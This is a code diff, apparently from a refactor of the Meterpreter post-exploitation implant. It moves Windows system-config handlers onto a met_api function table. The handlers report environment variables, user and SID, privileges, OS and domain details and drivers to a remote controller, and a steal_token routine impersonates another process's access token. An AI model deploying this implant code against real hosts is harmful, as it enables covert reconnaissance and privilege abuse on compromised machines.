@ -46,7 +47,7 @@ VOID add_env_pair(Packet *response, char * envVar, char *envVal)
|
||||
*/
|
||||
DWORD request_sys_config_getenv(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
DWORD dwTlvIndex = 0;
|
||||
Tlv envTlv;
|
||||
@ -55,7 +56,7 @@ DWORD request_sys_config_getenv(Remote *remote, Packet *packet)
|
||||
|
||||
do
|
||||
{
|
||||
while (ERROR_SUCCESS == packet_enum_tlv(packet, dwTlvIndex++, TLV_TYPE_ENV_VARIABLE, &envTlv))
|
||||
while (ERROR_SUCCESS == met_api->packet.enum_tlv(packet, dwTlvIndex++, TLV_TYPE_ENV_VARIABLE, &envTlv))
|
||||
{
|
||||
pEnvVarStart = (char*)envTlv.buffer;
|
||||
|
||||
@ -87,13 +88,13 @@ DWORD request_sys_config_getenv(Remote *remote, Packet *packet)
|
||||
dprintf("[ENV] Final env var: %s", pEnvVarStart);
|
||||
|
||||
// grab the value of the variable and stick it in the response.
|
||||
PWCHAR name = utf8_to_wchar(pEnvVarStart);
|
||||
PWCHAR name = met_api->string.utf8_to_wchar(pEnvVarStart);
|
||||
//Ensure we always have > 0 bytes even if env var doesn't exist
|
||||
DWORD envlen = GetEnvironmentVariableW(name, NULL, 0) + 1;
|
||||
PWCHAR wvalue = (PWCHAR)malloc(envlen * sizeof(WCHAR));
|
||||
GetEnvironmentVariableW(name, wvalue, envlen);
|
||||
free(name);
|
||||
char* value = wchar_to_utf8(wvalue);
|
||||
char* value = met_api->string.wchar_to_utf8(wvalue);
|
||||
free(wvalue);
|
||||
add_env_pair(response, pEnvVarStart, value);
|
||||
free(value);
|
||||
@ -103,7 +104,7 @@ DWORD request_sys_config_getenv(Remote *remote, Packet *packet)
|
||||
} while (0);
|
||||
|
||||
dprintf("[ENV] Transmitting response.");
|
||||
packet_transmit_response(dwResult, remote, response);
|
||||
met_api->packet.transmit_response(dwResult, remote, response);
|
||||
|
||||
dprintf("[ENV] done.");
|
||||
return dwResult;
|
||||
@ -153,7 +154,7 @@ DWORD request_sys_config_getsid(Remote* pRemote, Packet* pRequest)
|
||||
DWORD dwResult;
|
||||
BYTE tokenUserInfo[4096];
|
||||
LPSTR pSid = NULL;
|
||||
Packet *pResponse = packet_create_response(pRequest);
|
||||
Packet *pResponse = met_api->packet.create_response(pRequest);
|
||||
|
||||
do
|
||||
{
|
||||
@ -172,11 +173,11 @@ DWORD request_sys_config_getsid(Remote* pRemote, Packet* pRequest)
|
||||
|
||||
if (pSid != NULL)
|
||||
{
|
||||
packet_add_tlv_string(pResponse, TLV_TYPE_SID, pSid);
|
||||
met_api->packet.add_tlv_string(pResponse, TLV_TYPE_SID, pSid);
|
||||
LocalFree(pSid);
|
||||
}
|
||||
|
||||
packet_transmit_response(dwResult, pRemote, pResponse);
|
||||
met_api->packet.transmit_response(dwResult, pRemote, pResponse);
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
@ -215,15 +216,15 @@ DWORD populate_uid(Packet* pResponse)
|
||||
BREAK_ON_ERROR("[GETUID] Failed to lookup the account SID data");
|
||||
}
|
||||
|
||||
char *domainName = wchar_to_utf8(cbDomainOnly);
|
||||
char *userName = wchar_to_utf8(cbUserOnly);
|
||||
char *domainName = met_api->string.wchar_to_utf8(cbDomainOnly);
|
||||
char *userName = met_api->string.wchar_to_utf8(cbUserOnly);
|
||||
// Make full name in DOMAIN\USERNAME format
|
||||
_snprintf(cbUsername, 512, "%s\\%s", domainName, userName);
|
||||
free(domainName);
|
||||
free(userName);
|
||||
cbUsername[511] = '\0';
|
||||
|
||||
packet_add_tlv_string(pResponse, TLV_TYPE_USER_NAME, cbUsername);
|
||||
met_api->packet.add_tlv_string(pResponse, TLV_TYPE_USER_NAME, cbUsername);
|
||||
|
||||
dwResult = EXIT_SUCCESS;
|
||||
} while (0);
|
||||
@ -239,13 +240,13 @@ DWORD populate_uid(Packet* pResponse)
|
||||
*/
|
||||
DWORD request_sys_config_getuid(Remote* pRemote, Packet* pPacket)
|
||||
{
|
||||
Packet *pResponse = packet_create_response(pPacket);
|
||||
Packet *pResponse = met_api->packet.create_response(pPacket);
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
|
||||
dwResult = populate_uid(pResponse);
|
||||
|
||||
// Transmit the response
|
||||
packet_transmit_response(dwResult, pRemote, pResponse);
|
||||
met_api->packet.transmit_response(dwResult, pRemote, pResponse);
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
@ -258,14 +259,14 @@ DWORD request_sys_config_getuid(Remote* pRemote, Packet* pPacket)
|
||||
*/
|
||||
DWORD request_sys_config_drop_token(Remote* pRemote, Packet* pPacket)
|
||||
{
|
||||
Packet* pResponse = packet_create_response(pPacket);
|
||||
Packet* pResponse = met_api->packet.create_response(pPacket);
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
|
||||
core_update_thread_token(pRemote, NULL);
|
||||
met_api->thread.update_token(pRemote, NULL);
|
||||
dwResult = populate_uid(pResponse);
|
||||
|
||||
// Transmit the response
|
||||
packet_transmit_response(dwResult, pRemote, pResponse);
|
||||
met_api->packet.transmit_response(dwResult, pRemote, pResponse);
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
@ -279,7 +280,7 @@ DWORD request_sys_config_drop_token(Remote* pRemote, Packet* pPacket)
|
||||
*/
|
||||
DWORD request_sys_config_getprivs(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
DWORD res = ERROR_SUCCESS;
|
||||
HANDLE token = NULL;
|
||||
int x;
|
||||
@ -343,7 +344,7 @@ DWORD request_sys_config_getprivs(Remote *remote, Packet *packet)
|
||||
if (GetLastError() == ERROR_SUCCESS)
|
||||
{
|
||||
dprintf("[GETPRIVS] Got Priv %s", privs[x]);
|
||||
packet_add_tlv_string(response, TLV_TYPE_PRIVILEGE, privs[x]);
|
||||
met_api->packet.add_tlv_string(response, TLV_TYPE_PRIVILEGE, privs[x]);
|
||||
}
|
||||
}
|
||||
else
|
||||
@ -359,7 +360,7 @@ DWORD request_sys_config_getprivs(Remote *remote, Packet *packet)
|
||||
}
|
||||
|
||||
// Transmit the response
|
||||
packet_transmit_response(res, remote, response);
|
||||
met_api->packet.transmit_response(res, remote, response);
|
||||
|
||||
return res;
|
||||
}
|
||||
@ -372,7 +373,7 @@ DWORD request_sys_config_getprivs(Remote *remote, Packet *packet)
|
||||
*/
|
||||
DWORD request_sys_config_steal_token(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
HANDLE hToken = NULL;
|
||||
HANDLE hProcessHandle = NULL;
|
||||
@ -382,7 +383,7 @@ DWORD request_sys_config_steal_token(Remote *remote, Packet *packet)
|
||||
do
|
||||
{
|
||||
// Get the process identifier that we're attaching to, if any.
|
||||
dwPid = packet_get_tlv_value_uint(packet, TLV_TYPE_PID);
|
||||
dwPid = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_PID);
|
||||
|
||||
if (!dwPid)
|
||||
{
|
||||
@ -422,7 +423,7 @@ DWORD request_sys_config_steal_token(Remote *remote, Packet *packet)
|
||||
}
|
||||
|
||||
dprintf("[STEAL-TOKEN] so far so good, updating thread token");
|
||||
core_update_thread_token(remote, hDupToken);
|
||||
met_api->thread.update_token(remote, hDupToken);
|
||||
|
||||
dprintf("[STEAL-TOKEN] populating UID");
|
||||
dwResult = populate_uid(response);
|
||||
@ -438,7 +439,7 @@ DWORD request_sys_config_steal_token(Remote *remote, Packet *packet)
|
||||
CloseHandle(hToken);
|
||||
}
|
||||
// Transmit the response
|
||||
packet_transmit_response(dwResult, remote, response);
|
||||
met_api->packet.transmit_response(dwResult, remote, response);
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
@ -564,7 +565,7 @@ DWORD add_windows_os_version(Packet** packet)
|
||||
}
|
||||
|
||||
dprintf("[VERSION] Version set to: %s", buffer);
|
||||
packet_add_tlv_string(*packet, TLV_TYPE_OS_NAME, buffer);
|
||||
met_api->packet.add_tlv_string(*packet, TLV_TYPE_OS_NAME, buffer);
|
||||
} while (0);
|
||||
|
||||
return dwResult;
|
||||
@ -578,7 +579,7 @@ DWORD add_windows_os_version(Packet** packet)
|
||||
*/
|
||||
DWORD request_sys_config_localtime(Remote* remote, Packet* packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
char dateTime[128] = { 0 };
|
||||
|
||||
@ -595,10 +596,10 @@ DWORD request_sys_config_localtime(Remote* remote, Packet* packet)
|
||||
tzi.Bias > 0 ? "-" : "+", abs(tzi.Bias / 60 * 100));
|
||||
|
||||
dprintf("[SYSINFO] Local Date/Time: %s", dateTime);
|
||||
packet_add_tlv_string(response, TLV_TYPE_LOCAL_DATETIME, dateTime);
|
||||
met_api->packet.add_tlv_string(response, TLV_TYPE_LOCAL_DATETIME, dateTime);
|
||||
|
||||
// Transmit the response
|
||||
packet_transmit_response(result, remote, response);
|
||||
met_api->packet.transmit_response(result, remote, response);
|
||||
|
||||
return result;
|
||||
}
|
||||
@ -611,7 +612,7 @@ DWORD request_sys_config_localtime(Remote* remote, Packet* packet)
|
||||
*/
|
||||
DWORD request_sys_config_sysinfo(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
CHAR computer[512], buf[512], * osArch = NULL;
|
||||
DWORD res = ERROR_SUCCESS;
|
||||
DWORD size = sizeof(computer);
|
||||
@ -629,7 +630,7 @@ DWORD request_sys_config_sysinfo(Remote *remote, Packet *packet)
|
||||
break;
|
||||
}
|
||||
|
||||
packet_add_tlv_string(response, TLV_TYPE_COMPUTER_NAME, computer);
|
||||
met_api->packet.add_tlv_string(response, TLV_TYPE_COMPUTER_NAME, computer);
|
||||
add_windows_os_version(&response);
|
||||
|
||||
// sf: we dynamically retrieve GetNativeSystemInfo & IsWow64Process as NT and 2000 dont support it.
|
||||
@ -667,7 +668,7 @@ DWORD request_sys_config_sysinfo(Remote *remote, Packet *packet)
|
||||
}
|
||||
|
||||
dprintf("[SYSINFO] Arch set to: %s", osArch);
|
||||
packet_add_tlv_string(response, TLV_TYPE_ARCHITECTURE, osArch);
|
||||
met_api->packet.add_tlv_string(response, TLV_TYPE_ARCHITECTURE, osArch);
|
||||
|
||||
if (hKernel32)
|
||||
{
|
||||
@ -702,7 +703,7 @@ DWORD request_sys_config_sysinfo(Remote *remote, Packet *packet)
|
||||
_snprintf(buf, sizeof(buf)-1, "%s_%s", langname, ctryname);
|
||||
}
|
||||
|
||||
packet_add_tlv_string(response, TLV_TYPE_LANG_SYSTEM, buf);
|
||||
met_api->packet.add_tlv_string(response, TLV_TYPE_LANG_SYSTEM, buf);
|
||||
|
||||
if (ctryname)
|
||||
{
|
||||
@ -719,9 +720,9 @@ DWORD request_sys_config_sysinfo(Remote *remote, Packet *packet)
|
||||
|
||||
if (NetWkstaGetInfo(NULL, 102, (LPBYTE *)&localSysinfo) == NERR_Success)
|
||||
{
|
||||
char *domainName = wchar_to_utf8(localSysinfo->wki102_langroup);
|
||||
packet_add_tlv_string(response, TLV_TYPE_DOMAIN, (LPCSTR)domainName);
|
||||
packet_add_tlv_uint(response, TLV_TYPE_LOGGED_ON_USER_COUNT, localSysinfo->wki102_logged_on_users);
|
||||
char *domainName = met_api->string.wchar_to_utf8(localSysinfo->wki102_langroup);
|
||||
met_api->packet.add_tlv_string(response, TLV_TYPE_DOMAIN, (LPCSTR)domainName);
|
||||
met_api->packet.add_tlv_uint(response, TLV_TYPE_LOGGED_ON_USER_COUNT, localSysinfo->wki102_logged_on_users);
|
||||
free(domainName);
|
||||
}
|
||||
else
|
||||
@ -731,7 +732,7 @@ DWORD request_sys_config_sysinfo(Remote *remote, Packet *packet)
|
||||
} while (0);
|
||||
|
||||
// Transmit the response
|
||||
packet_transmit_response(res, remote, response);
|
||||
met_api->packet.transmit_response(res, remote, response);
|
||||
|
||||
return res;
|
||||
}
|
||||
@ -749,16 +750,16 @@ DWORD request_sys_config_rev2self(Remote *remote, Packet *packet)
|
||||
|
||||
do
|
||||
{
|
||||
response = packet_create_response(packet);
|
||||
response = met_api->packet.create_response(packet);
|
||||
if (!response)
|
||||
{
|
||||
dwResult = ERROR_INVALID_HANDLE;
|
||||
break;
|
||||
}
|
||||
|
||||
core_update_thread_token(remote, NULL);
|
||||
met_api->thread.update_token(remote, NULL);
|
||||
|
||||
core_update_desktop(remote, -1, NULL, NULL);
|
||||
met_api->desktop.update(remote, -1, NULL, NULL);
|
||||
|
||||
if (!RevertToSelf())
|
||||
dwResult = GetLastError();
|
||||
@ -766,7 +767,7 @@ DWORD request_sys_config_rev2self(Remote *remote, Packet *packet)
|
||||
} while(0);
|
||||
|
||||
if (response)
|
||||
packet_transmit_response(dwResult, remote, response);
|
||||
met_api->packet.transmit_response(dwResult, remote, response);
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
@ -776,7 +777,7 @@ DWORD request_sys_config_rev2self(Remote *remote, Packet *packet)
|
||||
*/
|
||||
DWORD request_sys_config_driver_list(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet* response = packet_create_response(packet);
|
||||
Packet* response = met_api->packet.create_response(packet);
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
|
||||
LPVOID ignored = NULL;
|
||||
@ -831,17 +832,17 @@ DWORD request_sys_config_driver_list(Remote *remote, Packet *packet)
|
||||
|
||||
if (valid)
|
||||
{
|
||||
Packet* entry = packet_create_group();
|
||||
Packet* entry = met_api->packet.create_group();
|
||||
|
||||
char* bn = wchar_to_utf8(baseName);
|
||||
packet_add_tlv_string(entry, TLV_TYPE_DRIVER_BASENAME, bn);
|
||||
char* bn = met_api->string.wchar_to_utf8(baseName);
|
||||
met_api->packet.add_tlv_string(entry, TLV_TYPE_DRIVER_BASENAME, bn);
|
||||
free(bn);
|
||||
|
||||
char* fn = wchar_to_utf8(fileName);
|
||||
packet_add_tlv_string(entry, TLV_TYPE_DRIVER_FILENAME, fn);
|
||||
char* fn = met_api->string.wchar_to_utf8(fileName);
|
||||
met_api->packet.add_tlv_string(entry, TLV_TYPE_DRIVER_FILENAME, fn);
|
||||
free(fn);
|
||||
|
||||
packet_add_group(response, TLV_TYPE_DRIVER_ENTRY, entry);
|
||||
met_api->packet.add_group(response, TLV_TYPE_DRIVER_ENTRY, entry);
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -854,7 +855,7 @@ DWORD request_sys_config_driver_list(Remote *remote, Packet *packet)
|
||||
}
|
||||
}
|
||||
|
||||
packet_transmit_response(result, remote, response);
|
||||
met_api->packet.transmit_response(result, remote, response);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue
Block a user